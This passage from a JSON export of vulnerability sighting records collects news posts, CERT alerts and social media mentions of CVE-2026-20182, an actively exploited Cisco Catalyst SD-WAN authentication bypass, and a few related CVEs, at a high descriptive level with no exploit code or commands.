"2026-05-15T07:03:44.843296Z"}, {"uuid": "626c5041-0e23-46b2-9e36-78050fb651ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mlusruxuqc2a", "content": "CISA added CVE-2026-20182 to KEV after active exploitation of Cisco Catalyst SD-WAN. The 10.0 auth bypass is linked to UAT-8616, with attacks using web shells, miners, backdoors, and stealers. #Cisco #UAT8616 #KEV", "creation_timestamp": "2026-05-15T07:30:36.197594Z"}, {"uuid": "cf185971-fd1a-4f1a-9a98-03011b03e4d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.cert.se/2026/05/kritisk-sarbarhet-i-cisco-sd-wan.html", "content": "", "creation_timestamp": "2026-05-15T01:45:00.000000Z"}, {"uuid": "3d44f6fb-62c2-42bc-8d0b-ab753aa3f354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1872", "content": "", "creation_timestamp": "2026-05-14T21:00:00.000000Z"}, {"uuid": "5d17a914-4d67-4b1d-8a96-9fe237df622d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/TengkorakCyberCrewzz/10404", "content": "CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits \u2013 thehackernews.com\n\nFri, 15 May 2026 13:28:03", "creation_timestamp": "2026-05-15T08:03:40.000000Z"}, {"uuid": "2401c7b4-6911-4f71-b870-b2d863f00e1e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20316", "type": "exploited", "source": "https://t.me/CyberDispatch/2419", "content": "Cisco is warning that a high-severity Secure Firewall Management Center (FMC) static credential vulnerability, tracked as CVE-2026-20316, was actively exploited in zero-day attacks to gain unauthorized access to vulnerable devices.\n\nThe vulnerability is caused by static credentials for a low-privilege account built into Cisco Secure FMC Software.", "creation_timestamp": "2026-08-30T00:00:37.484994Z"}, {"uuid": "bcc00509-9694-4135-9b48-e2e56e78e356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mlvbbkp7i72y", "content": "Cisco\u304c\u6700\u5927\u91cd\u5927\u5ea6\u306eSD-WAN\u8106\u5f31\u6027\u306e\u7a4d\u6975\u7684\u306a\u60aa\u7528\u306b\u3064\u3044\u3066\u8b66\u544a\n\nCatalyst SD-WAN\u306e\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u30d0\u30b0\uff08CVE-2026-20182\uff09\u306f\u3001\u30ea\u30e2\u30fc\u30c8\u653b\u6483\u8005\u306b\u7ba1\u7406\u8005\u30a2\u30af\u30bb\u30b9\u3092\u4e0e\u3048\u3001\u5bfe\u51e6\u65b9\u6cd5\u304c\u3042\u308a\u307e\u305b\u3093\u3002 Cisco\u306f\u3001Catalyst SD-WAN Controller\u304a\u3088\u3073Catalyst", "creation_timestamp": "2026-05-15T11:49:44.587658Z"}, {"uuid": "0c206262-1936-4542-838d-b66112cd829f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/solomonneas.dev/post/3mlvc24zfsc2k", "content": "\ud83d\udd34 Cisco SD-WAN zero-day exploited: CVE-2026-20182 is CVSS 10 auth bypass granting admin control. Patch or isolate management now.\n\n\ud83d\udd34 Exchange exploited in wild: CVE-2026-42897 hits on-prem OWA. Verify EMS mitigation and prep updates.\n\nsolomonneas.dev/intel", "creation_timestamp": "2026-05-15T12:03:29.045870Z"}, {"uuid": "e08f44d9-4f99-49a0-be93-baeed33067fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mlvcorjk3r2c", "content": "CISA Adds Cisco SD-WAN CVE-2026-20182 to KEV After Admin Access Exploits #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-05-15T12:15:06.464461Z"}, {"uuid": "d8667cd3-dba5-4fd3-8df7-7b3153f7d913", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mlvdrpnbik2x", "content": "CVE-2026-20182 is a max-severity, actively exploited Cisco Catalyst SD-WAN Controller/Manager flaw enabling unauthenticated admin access and NETCONF manipulation.\n", "creation_timestamp": "2026-05-15T12:34:35.487584Z"}, {"uuid": "2278fc4e-223a-4544-8fb5-be86bb983449", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevato-sfruttamento-di-vulnerabilita-in-prodotti-cisco-1", "content": "Cisco ha rilasciato aggiornamenti di sicurezza per risolvere nuove vulnerabilit\u00e0, di cui una con gravit\u00e0 \u201dcritica\u201d e una con gravit\u00e0 \u201calta\u201d, che riguardano i prodotti Catalyst SD-WAN. Tra queste si evidenzia la CVE-2026-20182, di tipo \u201cAuthentication Bypass\u201d, che risulta essere sfruttata attivamente in rete.", "creation_timestamp": "2026-05-15T08:36:56.000000Z"}, {"uuid": "7a4717aa-cb5b-4651-a8e3-b0aff07a7455", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.cert.se/2026/05/cert-se-veckobrev-v20.html", "content": "", "creation_timestamp": "2026-05-15T04:15:00.000000Z"}, {"uuid": "aed964a1-3269-42e4-a0a0-a344b3b662ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://dnsc.ro/citeste/alerta-vulnerabilitate-critica-la-nivelul-cisco-sd-wan", "content": "", "creation_timestamp": "2026-05-15T05:36:10.000000Z"}, {"uuid": "7cda197d-d2c0-4b27-ada7-1272c45201e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://www.ncsc.nl/alerts/ernstige-kwetsbaarheid-in-sd-wan-controllers-van-cisco", "content": "", "creation_timestamp": "2026-05-15T04:16:43.000000Z"}, {"uuid": "bc75e5db-c126-4093-9954-820f15970689", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://t.me/bdufstecru/3166", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u044c\u044e Cisco Catalyst SD-WAN Manager \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0442\u0440\u0430\u0444\u0438\u043a\u043e\u043c Cisco Catalyst SD-WAN Controller \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u043c\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0443\u0442\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432\n\nBDU:2026-06823\nCVE-2026-20182\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f:\nhttps://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW", "creation_timestamp": "2026-05-15T13:02:52.000000Z"}, {"uuid": "e216b8a2-54ea-4569-99d6-e44782e12563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/jgreig.bsky.social/post/3mlvjnoawwc25", "content": "CISA said all federal agencies have until Sunday to patch CVE-2026-20182, the latest Cisco SD-WAN bug exploited by nation-state actors. \n\nIt was discovered by @rapid7.com, which said it \"behaves like a master key\n\ntherecord.media/cisa-orders-...", "creation_timestamp": "2026-05-15T14:19:42.032595Z"}, {"uuid": "42ae1d98-550d-4be4-85d8-f61a2e2a63f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mlvl3ncxht2o", "content": "Cisco disclosed CVE-2026-20182, a max-severity auth bypass in Catalyst SD-WAN Controller and Manager. Cisco and Rapid7 say limited exploitation is underway, with UAT-8616 linked to admin-level access. #Cisco #CVE2026 #UAT8616", "creation_timestamp": "2026-05-15T14:45:23.645835Z"}, {"uuid": "5d4f9743-1c10-4d04-98b4-5fe48e09fe17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mlvlqitem226", "content": "Critical #Cisco #SDWAN zero-day (CVE-2026-20127) exploited since 2023. Immediate patching required to prevent unauthorized access. Stay vigilant! #CyberSecurity #NetworkSecurity Link: thedailytechfeed.com/critical-cis...", "creation_timestamp": "2026-05-15T14:57:06.760111Z"}, {"uuid": "82bf92e1-f590-47c2-8b26-ffed9b9d6604", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mlvmowc2yt25", "content": "Critical alert: Cisco Catalyst SD-WAN Controller vulnerability (CVE-2026-20182) actively exploited. Apply patches immediately to secure your network. #CyberSecurity #Cisco #SDWAN #Vulnerability Link: thedailytechfeed.com/cisco-patche...", "creation_timestamp": "2026-05-15T15:14:04.620725Z"}, {"uuid": "765fab82-44d6-47f4-b6da-6029b7f5c4ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/cybercod.bsky.social/post/3mlvpt5dzbv25", "content": "Great catch. CVE-2026-20182 is a serious one for SD-WAN environments. Ensure your vManage/vBond instances are patched ASAP to prevent unauthorized access. Stay safe! #InfoSec #Cisco", "creation_timestamp": "2026-05-15T16:10:06.562090Z"}, {"uuid": "fa606810-aa29-47f8-96e1-003596898587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3mlvpubgopc2k", "content": "~Cybergcca~\nActive exploitation of critical Cisco SD-WAN (CVE-2026-20182) and MS Exchange (CVE-2026-42897) flaws.\n-\nIOCs: CVE-2026-20182, CVE-2026-42897\n-\n#CVE202620182 #Exchange #ThreatIntel", "creation_timestamp": "2026-05-15T16:10:44.890930Z"}, {"uuid": "a077ae3a-7e18-45ce-b63d-e0fc42513067", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2031", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mlvs5mlvn72i", "content": "CVE-2026-2031 - Google Cloud Application Integration: Exposed internal APIs allow Information Disclosure and Remote Code Execution.\nCVE ID : CVE-2026-2031\n \n Published : May 15, 2026, 3:38 p.m. | 47\u00a0minutes ago\n \n Description : An Improper Access Control\u00a0vulnerability in\u00a0sever...", "creation_timestamp": "2026-05-15T16:51:45.801833Z"}, {"uuid": "0ba3b651-25a3-4f70-a472-e93f769f09ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20224", "type": "seen", "source": "https://t.me/GithubRedTeam/84354", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XXE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-20224---XXE-Injection-en-Cisco-Catalyst-SD-WAN-Manager\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a fevar54\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-15 16:01:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\npermite a un atacante remoto no autenticado leer archivos arbitrarios del sistema afectado mediante una inyecci\u00f3n de XML External Entity (XXE) \n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-15T16:02:46.000000Z"}, {"uuid": "c23c0113-8d7e-46a3-85c4-8393ead78e44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-012-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20182", "content": "", "creation_timestamp": "2026-05-15T06:03:19.000000Z"}, {"uuid": "c2193a24-335e-45e8-af21-7aaeecd74d6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20182", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-012-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20182", "content": "", "creation_timestamp": "2026-05-15T06:03:19.000000Z"}, {"uuid": "3473de94-b27f-4074-b710-e1b3a8420c3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-012-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20182", "content": "", "creation_timestamp": "2026-05-15T06:03:19.000000Z"}, {"uuid": "1354ed90-efdb-40b1-ab71-45fca3d5504f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-012-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20182", "content": "", "creation_timestamp": "2026-05-15T06:03:19.000000Z"}, {"uuid": "a82fe746-84b9-4a67-ac7f-a6e9f7c22bf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/al26-012-critical-vulnerability-affecting-cisco-catalyst-sd-wan-cve-2026-20182", "content": "", "creation_timestamp": "2026-05-15T06:03:19.000000Z"}, {"uuid": "87e277d2-7eac-43ab-b5da-0b3348cb8169", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://t.me/true_secator/8211", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0432\u0430\u0436\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u043d\u0438\u043c\u0438 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. \u0425\u0430\u043a\u0435\u0440\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 \u043f\u043b\u0430\u0433\u0438\u043d\u0435 Burst Statistics \u0434\u043b\u044f WordPress (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043d\u0430 200 000 \u0441\u0430\u0439\u0442\u0430\u0445 \u043a\u0430\u043a \u043e\u0431\u043b\u0435\u0433\u0447\u0435\u043d\u043d\u0430\u044f \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 Google Analytics) \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\nCVE-2026-8181 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 23 \u0430\u043f\u0440\u0435\u043b\u044f \u0441 \u0432\u044b\u043f\u0443\u0441\u043a\u043e\u043c \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u043f\u043b\u0430\u0433\u0438\u043d\u0430. \u0423\u044f\u0437\u0432\u0438\u043c\u044b\u0439 \u043a\u043e\u0434 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b \u0432 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, 3.4.1. \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u0435\u0431\u044f \u0437\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u043f\u0440\u0438 \u0437\u0430\u043f\u0440\u043e\u0441\u0430\u0445 \u043a REST API \u0438 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0438\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438.\n\n\u0417\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 24 \u0447\u0430\u0441\u0430 Wordfence \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0431\u043e\u043b\u0435\u0435 7400 \u0430\u0442\u0430\u043a, \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-8181, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0430. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 3.4.2 \u043e\u0442 12 \u043c\u0430\u044f \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043f\u043b\u0430\u0433\u0438\u043d \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0441\u0430\u0439\u0442\u0435.\n\n2. Cisco \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0431\u0445\u043e\u0434\u0430 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432 Catalyst SD-WAN (CVE-2026-20182, CVSS 10.0), \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0430\u0441\u044c \u0432 0-day \u0430\u0442\u0430\u043a\u0430\u0445, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u043e\u043c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u0438 \u043f\u0438\u0440\u0438\u043d\u0433\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u00ab\u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u00bb. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u043e\u0439\u0442\u0438 \u0432 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 Cisco Catalyst SD-WAN \u043f\u043e\u0434 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u0432\u044b\u0441\u043e\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438, \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0449\u0435\u0433\u043e\u0441\u044f root-\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u044d\u0442\u0443 \u0443\u0447\u0435\u0442\u043d\u0443\u044e \u0437\u0430\u043f\u0438\u0441\u044c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a NETCONF, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0435\u043c\u0443 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0435\u0439 SD-WAN-\u0441\u0435\u0442\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u044b\u043b\u0430\u00a0\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 